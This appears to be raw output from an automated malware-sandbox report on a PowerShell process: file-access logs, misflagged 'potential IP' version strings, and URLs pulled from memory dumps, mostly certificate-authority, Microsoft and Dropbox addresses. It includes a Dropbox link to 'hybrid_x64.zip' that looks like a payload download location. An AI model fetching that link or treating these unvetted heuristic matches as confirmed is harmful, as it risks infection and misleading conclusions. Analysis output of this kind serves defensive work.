"C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\MICROSOFT.POWERSHELL.CONSOLEHOST.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.INI" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.MANAA57FC8CC#" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\SYSTEM.MANAGEMENT.AUTOMATION.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.INI" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PSREADLINE" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PSReadline" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.NUMERICS" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.NUMERICS.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.DIRED13B18A9#" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\SYSTEM.DIRECTORYSERVICES.INI"49:T8e0,"4.0.0.0" Potential IP "4.0.0.0" found in string "System.Core,4.0.0.0,,b77a5c561934e089" Potential IP "4.0.0.0" found in string "ystem,4.0.0.0,,b77a5c561934e089" Potential IP "4.0.0.0" found in string "ystem.Configuration,4.0.0.0,,b03f5f7f11d50a3a,MSIL" Potential IP "4.0.0.0" found in string "ystem.Xml,4.0.0.0,,b77a5c561934e089,MSIL" Potential IP "4.0.0.0" found in string "ystem.Core,4.0.0.0,,b77a5c561934e089" Potential IP "4.0.0.0" found in string "ystem.Numerics,4.0.0.0,,b77a5c561934e089,MSIL" "192.168.0.2" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "1.0.0.1" found in string "??\C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "4.0.0.0, Cul" "2.5.29.16" "2.5.29.32" Potential IP "2.5.29.35" found in string "#2.5.29.35" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.1" "2.5.4.3" "2.5.29.31" "2.5.29.14" "2.5.29.17" "2.5.29.15" "2.5.29.10" Potential IP "1.0.0.0" found in string "??\C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.0\PackageManagement.psd1" Potential IP "1.0.0.0" found in string ":\program files (x86)\windowspowershell\modules\packagemanagement\1.0.0.0\packagemanagement.psd1" "2.5.4.6" "2.5.4.8" "2.5.4.7" "2.5.4.11" "2.5.4.10" "2.5.4.5" Potential IP "1.0.0.1" found in string ":\program files (x86)\windowspowershell\modules\powershellget\1.0.0.1\powershellget.psd1" Potential IP "1.0.0.1" found in string ":\program files\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1" Potential IP "1.0.0.0" found in string ":\program files\windowspowershell\modules\packagemanagement\1.0.0.0\packagemanagement.psd1" Potential IP "1.0.0.1" found in string "??\C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1" Potential IP "1.0.0.1" found in string "??\c:\program files\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1" Potential IP "4.0.0.0" found in string "ersion=4.0.0.0, Culture=neutral, PublicK>"4a:T20cf,Pattern match: "http://www.w3.org/1999/02/22-rdf-syntax-ns#" Pattern match: "ns.adobe.com/xap/1.0/mm/" Pattern match: "https://www.verisign.com/rpa" Pattern match: "www.adobe.com/misc/pki/prod_svce_cps.html0http://crl.adobe.com/cds\.crl0z0x1US1#0!Adobe" Heuristic match: "dl.dropboxusercontent.com" Pattern match: "https://cfl.dropboxstatic.com/static/metaserver/sta" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Heuristic match: "64e35~amd64~~10.0.16299.15.cat" Heuristic match: "ropboxusercontent.com" Heuristic match: "*.dl.dropboxusercontent.com" Heuristic match: "dl.dropbox.com" Heuristic match: "dl-web.dropbox.com" Heuristic match: "showbox.dropbox.com" Heuristic match: "files.dropbox.com" Heuristic match: "dl-au.dropboxusercontent.com" Heuristic match: "*.dl-au.dropboxusercontent.com" Heuristic match: "dl-web-au.dropbox.com" Heuristic match: "dl-au.dropbox.com" Heuristic match: "showbox-au.dropbox.com" Heuristic match: "files-au.dropbox.com" Heuristic match: "dl-eu.dropboxusercontent.com" Heuristic match: "*.dl-eu.dropboxusercontent.com" Heuristic match: "dl-web-eu.dropbox.com" Heuristic match: "dl-eu.dropbox.com" Heuristic match: "showbox-eu.dropbox.com" Heuristic match: "files-eu.dropbox.com" Heuristic match: "dl-jp.dropboxusercontent.com" Heuristic match: "*.dl-jp.dropboxusercontent.com" Heuristic match: "dl-web-jp.dropbox.com" Heuristic match: "dl-jp.dropbox.com" Heuristic match: "showbox-jp.dropbox.com" Heuristic match: "files-jp.dropbox.com" Heuristic match: "dl-uk.dropboxusercontent.com" Heuristic match: "*.dl-uk.dropboxusercontent.com" Heuristic match: "dl-web-uk.dropbox.com" Heuristic match: "dl-uk.dropbox.com" Heuristic match: "showbox-uk.dropbox.com" Heuristic match: "dropbox.com" Pattern match: "https://cfl.dropboxstatic.com/static/metaserver/static/css/error.css" Pattern match: "https://cfl.dropboxstatic.com/static/images/favicon.ico/" Pattern match: "https://assets.dropbox.com/www/en-us/illustrations/spot/look-magnifying-glass.svg" Pattern match: "https://www.dropbox.com/home?_tk=fof" Pattern match: "https://www.dropbox.com/help?_tk=fof" Pattern match: "https://www.dropbox.com/login?_tk=fof" Pattern match: "https://www.dropbox.com/register?_tk=fof" Pattern match: "https://www.dropbox.com/plus?_tk=fof" Pattern match: "https://www.dropbox.com/business?_tk=fof" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0F" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" Pattern match: "crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0L" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/ThawtePCA-G3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "https://www.digicert.com/CPS0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/CRL/class2.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/STCA.crl0" Pattern match: "0www.entrust.net/CPS" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitReport" Pattern match: "t.com/pki/cr" Heuristic match: "ntrust.net" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "www.microsoft.com/pkiops/crl/MicWinProPCA2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "7www.entrust.net/CPS_2048" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Heuristic match: "files-uk.dropbox.com" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=42127" Heuristic match: "osoft.co" Pattern match: "dl.dropboxusercontent.com/scl/fi/99el46xk80wjrz82avbbb/hybrid_x64.zip?rlkey=dmkh2dcrdi3vjny6s3ahs2wa4&dl=0" Heuristic match: "0.16299.15.cat" Pattern match: "Microsoft.Net/assembly/GAC_MS4" Heuristic match: "0112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ox-jp.dropbox.com" Pattern match: "https://lo.dropboxusercontent.com/" Heuristic match: "l.dropboxusercontent.com" Heuristic match: "Host: dl.dropboxusercontent.com" Pattern match: "https://go.microsoft.com/fwlink/?LinkId=526726" Pattern match: "https://go.microsoft.com/fwlink/?LinkId=526920" Pattern match: "https://go.microsoft.com/fwlink/?LinkId=526919" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=623621" Pattern match: "https://go.microsoft.com/fwlink/?LinkId=623636" Heuristic match: "## All the types of access rights understood by .NET" Heuristic match: "ropbox.com" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/MicCerTruLisPCA_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerTruLisPCA_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerTruLisPCA_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T" Pattern match: "www.microsoft.com/pki/certs/MicrosoftRootCert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "pod71084-pri.oM" Pattern match: "www.insidersurveys.win" Pattern match: "go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&" Pattern match: "http://www.microsoft.com/windows" Pattern match: "www.microsoft.com/PKI/docs/CPS/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&"4b:Tba38,Found URL "https://cfl.dropboxstatic.com/static/metaserver/static/css/error.css" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://cfl.dropboxstatic.com/static/images/favicon.ico" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://assets.dropbox.com/www/en-us/illustrations/spot/look-magnifying-glass.svg" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/home?_tk=fof" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/help?_tk=fof" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/login?_tk=fof" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/register?_tk=fof" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/plus?_tk=fof" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/business?_tk=fof" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czc1ni9*n\9'nc9o" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;microsoft" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004464.00000001.124922.06DF2000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00004464.00000001.124922.06DF2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wk80ta[17iusai:" - Source: "00000000-00004464.00000001.124922.06DF2000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004464.00000001.124922.06DF2000.00000004.mdmp") Found URL "https://lo.dropboxusercontent.com/dl.dropboxusercontent.comlocal" - Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsh" - Source: "00000000-00004464.00000001.124922.09330000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004464.00000001.124922.09330000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004464.00000001.124922.09330000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found URL "http://crl.microsoft.com/pki/crl/,3bv:t%2011-03-29.crt0ta[17iusai:" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://cfl.dropboxstatic.com/static/metaserver/static/css/error.css" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://cfl.dropboxstatic.com/static/images/favicon.ico" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://assets.dropbox.com/www/en-us/illustrations/spot/look-magnifying-glass.svg" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/home?_tk=fof" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/help?_tk=fof" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/login?_tk=fof" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/register?_tk=fof" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/plus?_tk=fof" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.dropbox.com/business?_tk=fof" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czc1ni9*n\9'nc9o" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;i@5" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004464.00000002.126844.06DF2000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00004464.00000002.126844.06DF2000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004464.00000002.126844.06DF2000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsh" - Source: "00000000-00004464.00000002.126844.09330000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004464.00000002.126844.09330000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004464.00000002.126844.09330000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found URL 